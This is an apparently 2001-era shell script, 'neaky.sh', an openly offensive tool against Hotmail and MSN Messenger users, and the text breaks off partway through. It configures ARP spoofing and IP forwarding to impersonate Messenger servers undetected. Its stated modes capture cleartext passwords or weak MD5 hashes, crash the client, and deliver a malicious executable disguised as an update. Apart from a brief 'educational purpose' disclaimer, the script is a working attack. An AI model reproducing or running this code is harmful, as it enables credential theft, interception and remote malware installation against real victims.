#!/bin/sh # # // # // neaky.sh # \\ # \\ wiss army knife for Hotmail/Messenger # // # // # # # "Spoofing/brute force/misconception/unexpected input Class Attack" # # # # AUTHOR: Gregory Duchemin ( Aka c3rb3r ) # # COMPANY: NEUROCOM CANADA # 1001 bd Maisonneuve Ouest, suite 200 # H3A 3C8 Montreal (Quebec) CANADA # gdn@neurocom.com # 514 908 6800 # http://www.securite-internet.com # # DATE: January 2001 # # PURPOSE: Will spoof Hotmail/messenger server to recover user # hotmail/password, crash messenger client, remotely inject and # execute malicious exe on the victim host. # # NOTE: U will have to send arp responses by broadcasting your MAC/GATEWAY # to the limited broadcast address/IP Broadcast # otherwise u can still try it on your own gateway or from your provider ;) # As a last resort, u can temporalily modify your DNS entry for # messenger servers. # # REQUIRED: This sploit needs an "arptool" like software and a local www server to work properly. # ================================================================= ########################################################################################## # # THIS SCRIPT IS JUST A PROOF OF CONCEPT AND SHOULD NOT BE USED FOR ANY ILLEGAL ACTIVITY # ########################################################################################## export delay=100000 ################################### # Things to be configured first ################################### # IP address of messenger server to spoof # It change from client to client, check it by sniffing or u can always # assign as many virtual ip as there are messenger server IP. export messenger="64.4.13.56" # HTTP document root export cgiroot="/usr/local/apache/cgi-bin/" export httproot="/usr/local/apache/htdocs/" # Malicious exe location export malicious_path="/tmp/" export malicious="mmssetup.exe" # Access URI : stupid garbage to hide the real url export relogin="loginid=121EAAAAFBBDC2739121+CooKie=1212198AFEDCDFFF+TimeoftheDAY=231212+PASS=+LOGIN=+BIG-Brother" # Messenger PORT export PORT=1863 # real IP of our fake hotmail server, this host ip export MYIP="192.168.10.17" # number of non read messages, # need at least 1 to stimulate requests from the client export nrmsg="10" #number of non read folders export nrfld="0" #path/filename where to store hotmail password export PASSWORD_HERE="/tmp/hotmail-pass" #path to reach your arp spoofer/flooder export ARP="arptool" ########################################## # End of configuration options ########################################## handl3r() { echo echo "Job finished, hope everything is ok...." echo "see ./log for details." echo html_cleaner sync killall "$ARP" exit } usage() { echo echo -e "Usage: $0 [MODE] \n" echo echo "MODE: 1 / Hotmail web spoof for clear password recovery." echo " 2 / Hotmail weakenned MD5 password Hash recovery for bruteforce." echo " 3 / Messenger Remote CrAsh." echo " 4 / Remote injection of malicious exe." echo echo echo "NOTE: Don't forget to customize settings in the script (the first lines)." echo "NOTE2: This proggy needs a local www and arptool or something similar to broadcast arp response to your LAN. I don't have lust to reinvente the wheel." echo "NOTE3: USE IT ONLY FOR EDUCATIONNAL PURPOSE, NOTHING ILLEGAL PLEASE !" echo echo "DETAILS: attack 1/ will trojanize victim to get back a plain password." echo " attack 2/ will ask for weak md5 hash." echo " attack 3/ will crash the client.(exploitable b.overflow ?)" echo " attack 4/ will upload a fake update, naively installed." echo echo "have a nice day" echo " Gregory Duchemin ( c3rb3r@hotmail.com )" echo echo } if [ $# -lt 1 ]; then usage exit fi export MODE="$1" if [ $MODE -gt 4 ]; then usage exit fi # IP_forwarding should be set to avoid detection/suspicion. sysctl -w net.ipv4.conf.all.forwarding=1 if [ $? -eq 1 ]; then usage echo echo echo "Warning: Unable to set ip_forwarding (not a Linux ?), please configure the script." echo echo fi # automatic configuration of arp broadcasting/spoofing over the Lan. echo echo -n "ARP broadcast : " $ARP -c 1 -s $(ifconfig -a | grep "HWaddr" | awk '{print $5}' | egrep -n '^[0-9]+' | egrep '^1:'| sed '1,$s/^1://') FF:FF:FF:FF:FF:FF $(netstat -rn | grep "UG" | awk '{print $2}' ) $(ifconfig -a | grep "inet" | awk -F ':' '{print $3}' | awk '{print $1}'| egrep -n '^[0-9]+' | egrep '^1:' | awk -F ':' '{print $2}') 2 2>&1 > /dev/null & if [ $? -eq 1 ]; then usage echo echo echo "Error: I need something like arptool to do the job.. even if u have something else but similar, please do the appropriate modifications in the script." echo echo exit fi echo "OK" export TID=$! if [ $MODE = "2" ]; then echo echo "Weak MD5 hashes will be stored in /tmp/md5-password" echo echo fi if [ $MODE = "1" ]; then echo echo "Clear Hotmail/MSN passwords will be stored in /tmp/clear-password" echo echo fi if [ $MODE = "3" ]; then echo echo "Remote client may suddenly die...." echo echo fi if [ $MODE = "4" ]; then if [ ! -f $malicious_path"/$malicious" ]; then echo echo "Please first define the trojan (in the configuration section)" echo echo exit 0 fi echo echo "Remote Injection of junky data." echo echo fi trap handl3r SIGINT function html_builder() { echo -n -e "#!/bin/sh\n cat << __MYGIFT__ Content-type:text/html\n